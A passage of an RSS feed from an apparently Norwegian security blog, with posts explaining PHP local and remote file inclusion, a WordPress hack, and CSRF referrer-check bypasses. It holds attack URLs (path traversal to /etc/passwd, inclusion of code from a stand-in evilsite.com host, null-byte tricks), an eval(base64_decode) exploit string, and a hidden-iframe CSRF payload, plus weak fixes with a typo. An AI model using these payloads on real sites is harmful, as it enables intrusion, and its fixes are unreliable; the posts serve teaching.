			<wfw:commentRss>http://skogtrollet.com/2009/10/29/mysql-sql-injection-into-outfile/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Php hacking: Local File Inclusion</title>
		<link>http://skogtrollet.com/2009/09/17/php-hacking-local-file-inclusion/</link>
		<comments>http://skogtrollet.com/2009/09/17/php-hacking-local-file-inclusion/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 22:29:10 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmering]]></category>
		<category><![CDATA[sikkerhet]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=800</guid>
		<description><![CDATA[Local file inclusion er en annen metode php applikasjoner kan hackes med. Det er en av de mest utbredte sårbarhetene som fins på internett.

Rundt om på internett ser man lenker sånn som det her]]></description>
			<content:encoded><![CDATA[<p>
<p>Local file inclusion er en annen metode php applikasjoner kan hackes med. Det er en av de mest utbredte sårbarhetene som fins på internett.</p>
<p>Rundt om på internett ser man lenker sånn som det her:</p>
<pre class="brush: php; light: true;">

http://yay.com/index.php?side=kontakt.php
</pre>
<p>Det som skjer her, er en inkludering. Veldig ofte har man en mappe på nettstedet som heter f.eks. &#8220;includes&#8221;. Inni den mappen pakker man masse filer:<br />
kontakt.php<br />
om.php<br />
login.php<br />
info.php</p>
<p>Det som da skjer, når brukeren går til:</p>
<pre class="brush: php; light: true;">
index.php?page=login.php
</pre>
<p>Er at login.php blir inkludert i php. Det er en slags klipp og lim sak i php, så slipper man å endre designet på alle filer, hver gang man skal oppdatere designet. Eller endre på struktur/lenker og slikt.</p>
<p>All php kode som ligger i login.php, blir derfor lagt inn i index.php.</p>
<p>Her er et eksempel på et inkluderingsscript:</p>
<pre>
<pre class="brush: php; light: true;">
$page = $_GET['page'];
include(&quot;includes/$page&quot;);
</pre>
</pre>
<p>Som du ser her, legges &#8220;includes&#8221; til i starten. Dette medfører at bare filer som ligger på nettstedet kan inkluderes. Dette er forskjellen på local file inclusion. og remote file inclusion.</p>
<p><strong>LES OGSÅ</strong>: <a href="http://skogtrollet.com/2009/09/12/php-hacking-remote-file-inclusion/">Php hacking: Remote file inclusion</a></p>
<p>Ta inkluderingsscriptet ovenfor. La oss si en ondsinne hacker navigerer til denne lenken:</p>
<pre class="brush: php; light: true;">

http://yay.com/index.php?page=../robots.txt
</pre>
<p>../ betyr &#8220;gå en mappe opp&#8221;. Scriptet går derfra vekk fra includes mappen, opp et hakk og includerer robots.txt.</p>
<p>Om du ikke vet hva robots.txt gjør, så er det en fil som forteller søkemotorroboter hvilke mapper og filer som ikke skal indekseres i deres søkemotor.</p>
<p>Dersom det er snakk om en linux server her, har du sikkert hørt om filen /etc/passwd. Det er en fil som inneholder kontoinformasjonen til alle brukerne på serveren. Den inneholder ikke passord, men ting som brukernavn, id, hvilket type shell de har osv.</p>
<p>La oss si den ondsinnede brukeren navigerer til denne lenken:</p>
<pre class="brush: php; light: true;">

http://yay.com/index.php?page=../../../../../../../etc/passwd
</pre>
<p>Da vil /etc/passwd filen bli inkludert, og en local file inclusion har blitt gjort. Angriperen har fått tilgang til noe han ikke skal ha.</p>
<p><strong>Kan dette føre kode injeksjon?</strong><br />
Ja. Dersom angriperen får lastet opp kode på serveren, vil kode kunne bli kjørt. Om f.eks. nettstedet tillater opplastning av bilder, kan et bilde inneholde php kode. Og da er det bare å inkludere bildet, og hackeren kan kjøre hvilken som helst php kode han vil.</p>
<p>En annen måte er å legge inn php kode i en loggfil på systemet, for deretter å inkludere loggfilen.</p>
<p><strong>Løsningen</strong><br />
Løsningen er å ikke tillate forover slash i $_GET['page'].</p>
<p>Eksempel på hvordan dette kan gjøres:</p>
<pre>
<pre class="brush: php; light: true;">
if (!eregi(&quot;^((.*)/)&quot;, $filename)) {
// inkluder trygt her
}
</pre>
</pre>
<p>Er ditt nettsted sårbart?</p>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=800" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2009/09/17/php-hacking-local-file-inclusion/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Php hacking: Remote File Inclusion</title>
		<link>http://skogtrollet.com/2009/09/12/php-hacking-remote-file-inclusion/</link>
		<comments>http://skogtrollet.com/2009/09/12/php-hacking-remote-file-inclusion/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 23:35:36 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[sikkerhet]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=786</guid>
		<description><![CDATA[Remote file inclusion er en av mange måter en php applikasjon kan hackes med. Og er en sårbarhet man ofte finner på nettsteder som er noen år gamle, og bruker gamle scripts.]]></description>
			<content:encoded><![CDATA[<p>
<p>Remote file inclusion er en av mange måter en php applikasjon kan hackes med. Og er en sårbarhet man ofte finner på nettsteder som er noen år gamle, og bruker gamle scripts.</p>
<p>I php har man en par funksjoner der man kan inkludere filer. De fungerer som klipp og lim, slik at man ikke trenger å skrive inn hele koden hver gang. Det er bare å inkludere filen.</p>
<p>Dette kan gjøres med 4 funksjoner:</p>
<pre>
<pre class="brush: php; light: true;">
require()
require_once()
include()
include_once()
</pre>
</pre>
<p>Her er det aller verste eksemplet på kode som er sårbar:</p>
<pre>
<pre class="brush: php; light: true;">
$pagina=$_GET['pagina'];
 include $pagina;
</pre>
</pre>
<p>Hvis man da f.eks. går til følgende lenke:</p>
<pre class="brush: php; light: true;">

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
</pre>
<p>Vil php koden som er i evilscript.txt, bli inkludert og kjørt. Og får man kjørt php kode på en server, kan man gjøre nesten hva man vil.</p>
<p><strong>Nullbyte trikset: %00</strong><br />
Noen script legger til en filendelse som .txt eller .inc.php. Da kan man bruke nullbyte( %00) til å terminere strengen, slik at det som legges til av php scriptet etterpå, blir fjernet.</p>
<p>Ta f.eks. et slikt script:</p>
<pre>
<pre class="brush: php; light: true;">
$pagina=$_GET['pagina'];
 include $pagina . &quot;.inc.php&quot;;
</pre>
</pre>
<p>Her legges det til &#8220;.inc.php&#8221;. Men denne blir man kvitt ved å besøke følgende lenke:</p>
<pre class="brush: php; light: true;">

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00
</pre>
<p>Forklaring på hvorfor nullbyte fungerer:</p>
<p><em>The &#8220;poison null byte&#8221; exploit takes advantage of how strings with a known length can contain null bytes and what happens when that string is converted for use with an API that uses null terminated strings. The end result is that by carefully placing a null byte in the string, the attacker is able to force the string to end at that point, even after the application has appended more characters to the string, like for example, a filename extension.</em></p>
<p>En annen måte å omgå filendelsen som legges til, er å besøke følgende lenke:</p>
<pre class="brush: php; light: true;">

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?
</pre>
<p>Her sørger spørsmålstegnet for at alt etter det, blir behandlet som GET verdier. Dermed blir filendelsen borte vekke.</p>
<p><strong>Løsningen</strong><br />
Filtrer vekk foroverslash /.  Dermed kan kun filer i nåværende mappe inkluderes.</p>
<p>Eksempel script:</p>
<pre>
<pre class="brush: php; light: true;">
if (!eregi(&quot;^((.*)/)&quot;, $filename)) {
// inkluder trygt her
}
</pre>
</pre>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=786" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2009/09/12/php-hacking-remote-file-inclusion/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Wordpress er under angrep, bruker du siste versjon?</title>
		<link>http://skogtrollet.com/2009/09/05/wordpress-er-under-angrep-bruker-du-siste-versjon/</link>
		<comments>http://skogtrollet.com/2009/09/05/wordpress-er-under-angrep-bruker-du-siste-versjon/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 21:49:38 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Crawlers/bots]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmering]]></category>
		<category><![CDATA[Virus]]></category>
		<category><![CDATA[sikkerhet]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=779</guid>
		<description><![CDATA[Ja nå har det skjedd igjen. Enda et sikkerhetshull i wordpress "has gone public".

Jeg skjønner det faen ikke altså. Nå har de holdt på i mange år, og forbedret koden, og fjernet mange gamle tidligere sårbarheter. Også kommer dette her.]]></description>
			<content:encoded><![CDATA[<p>
<p>Ja nå har det skjedd igjen. Enda et sikkerhetshull i wordpress &#8220;has gone public&#8221;.</p>
<p>Jeg skjønner det faen ikke altså. Nå har de holdt på i mange år, og forbedret koden, og fjernet mange gamle tidligere sårbarheter. Også kommer dette her.</p>
<p>Den siste versjonen av Wordpress 2.8.4 er trygg. Bruker du en eldre versjon?</p>
<p><strong>Gå og oppgrader nå</strong></p>
<p>Det er to måter å se om din Wordpress installasjon er blitt hacket:</p>
<p>1.<br />
Du ser noen merkelige permalenker som ser slik ut:</p>
<pre>
<pre class="brush: php; light: true;">
/category/post-title/%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&amp;%
</pre>
</pre>
<p>2.<br />
Det har blitt lagt til en ny skjult administrator, som du ikke kan se:</p>
<p><img src="http://skogtrollet.com/images/wphacked.jpg" alt="wordpress 2.8.3 hack" /></p>
<p>Ryktene sier at det er massevis av programmer og web crawlers som søker rundt om på nettet etter gamle versjoner av Wordpress. Og at angrepet går dypt inn i databasen og gjemmer kode overalt.</p>
<p>Metoden som brukes for å hacke gamle Wordpress versjoner heter for sql injection.</p>
<p><strong>LES OGSÅ: </strong><a href="http://skogtrollet.com/2009/04/13/en-intro-til-sql-injection/">En intro til SQL injection</a></p>
<p>Jeg har heldigvis ikke blitt utsatt for dette. </p>
<p>Har du?</p>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=779" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2009/09/05/wordpress-er-under-angrep-bruker-du-siste-versjon/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Slik omgår hackere referrer checks</title>
		<link>http://skogtrollet.com/2009/09/02/en-referrer-sjekk-hjelper-ikke-mot-hackere/</link>
		<comments>http://skogtrollet.com/2009/09/02/en-referrer-sjekk-hjelper-ikke-mot-hackere/#comments</comments>
		<pubDate>Wed, 02 Sep 2009 21:41:00 +0000</pubDate>
		<dc:creator>Skogtrollet</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programmering]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[sikkerhet]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://skogtrollet.com/?p=751</guid>
		<description><![CDATA[ En referrer er en http header som nettleseren din sender med, på alle nettsider du besøker. Hvis jeg er inne på <a href="http://www.metronet.no/blogg/2009/09/redirects-hvordan-flytte-nettsidene-dine/">www.metronet.no</a>, og klikker på en link som går til <a href="http://www.teknologia.no">www.teknologia.no</a>, ja da vil referreren din se slik ut:]]></description>
			<content:encoded><![CDATA[<p>
<p>En referrer er en http header som nettleseren din sender med, på alle nettsider du besøker. Hvis jeg er inne på <a href="http://www.metronet.no/blogg/2009/09/redirects-hvordan-flytte-nettsidene-dine/">www.metronet.no</a>, og klikker på en link som går til <a href="http://www.teknologia.no">www.teknologia.no</a>, ja da vil referreren din se slik ut:</p>
<p>http://www.metronet.no/blogg/2009/09/redirects-hvordan-flytte-nettsidene-dine</p>
<p>Jeg har tidligere skrevet om emnet, og hvorfor man ikke kan <a href="http://skogtrollet.com/2009/01/18/hvorfor-kan-jeg-ikke-stole-pa-referrer/">stole på referreren</a>. Men nå skal jeg vise nøyaktig hvordan hackere klarer å omgå en referrer sperre.</p>
<p>Først litt om hvordan nettleseren sender avgårde din referrer.</p>
<p>Når jeg er inne på <a href="http://www.deewoo.org/?p=1047">deewoo.org</a> og klikker på lenken som går videre til <a href="http://arpa.no/blog/">arpa.no</a>, sender nettleseren følgende:</p>
<pre class="brush: php; light: true;">GET /blog/ HTTP/1.1
Host: arpa.no
User-Agent: Mozilla/5.0
Referer: http://www.deewoo.org/?p=1047
</pre>
</pre>
<p>Noen headere er tatt bort.  Denne referreren kan leses inn med php:</p>
<pre>
<pre class="brush: php; light: true;">$ref = $_SERVER['HTTP_REFERER'];
$string = &quot;arpa.no&quot;;

if($ref) {
	if(strstr($refr,$string)) {

	}
	else {
		die(&quot;Hacking forsøk!&quot;);
	}
}</pre>
</pre>
<p>Her sjekkes det først om referrer eksisterer, for å ikke blokke ut de som har blank referrer. Deretter sjekkes det om domenet, fins i referreren. Hvis den ikke gjør det, drepes scriptet, og angrepet blir stoppet.</p>
<p><strong>Et eksempel på et vanlig angrep</strong><br />
La oss si du er innlogget som admin på <a href="http://www.savio.no">savio.no</a>. Og idet du surfer på nettet, blir din nettleser utsatt for følgende kode:</p>
<pre class="brush: php; light: true;">&lt;img src=&quot;http://www.savio.no/login/slettBruker.php?id=1&quot;&gt;</pre>
</pre>
<p>Dette er hypotetisk.</p>
<p>Det som da vil skje er at din nettleser sender en forespørsel til savio.no, med beskjed om at bruker nummer 1 skal slettes. Dersom den som besøker koden, samtidig faktisk er innlogget som admin, vil admin brukeren bli slettet.</p>
<p><strong>LES OGSÅ</strong>: <a href="http://skogtrollet.com/2009/05/09/hva-er-egentlig-xss-cross-site-scripting/">Hva er egentlig XSS?</a></p>
<p>Grunnen til at dette skjer, er fordi nettleseren ikke kan vite at forespørselen kommer fra angriperen sitt domene, og ikke savio.no. Dermed sender den samtidig med alle cookies, som admin har forbundet med savio.no. Altså innloggingskakene.</p>
<p>Dersom savio har en slik referrer check jeg skrev lenger oppe, vil angrepet mislykkes. </p>
<p><strong>Så hvordan omgår hackere slike sperrer?</strong><br />
Slike referrer checks kan omgåes med følgende kode:</p>
<pre class="brush: php; light: true;">
&lt;iframe width=&quot;1&quot; height=&quot;1&quot; src=&quot;javascript:document.write=%22&lt;img src='

http://www.savio.no/admin/slettBruker?id=1'%22&quot;&gt;&lt;/iframe&gt;
</pre>
</pre>
<p>Med å bruke inline javascript inni en iframe, blir referrern blank. Og dermed er referrer checken omgått.</p>
<p>Nettopp dette er grunnen til at mange sier at referrer checks er ubrukelige.</p>
<p><strong>Løsningen?</strong><br />
Ved å bruke <a href="http://skogtrollet.com/2009/02/25/slik-forhindres-hacking-ved-bruk-av-engangs-tokens/">engangs tokens</a>, kan slike csrf(  cross site request forgery) angrep bli stoppet.</p>
 <img src="http://skogtrollet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=751" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://skogtrollet.com/2009/09/02/en-referrer-sjekk-hjelper-ikke-mot-hackere/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
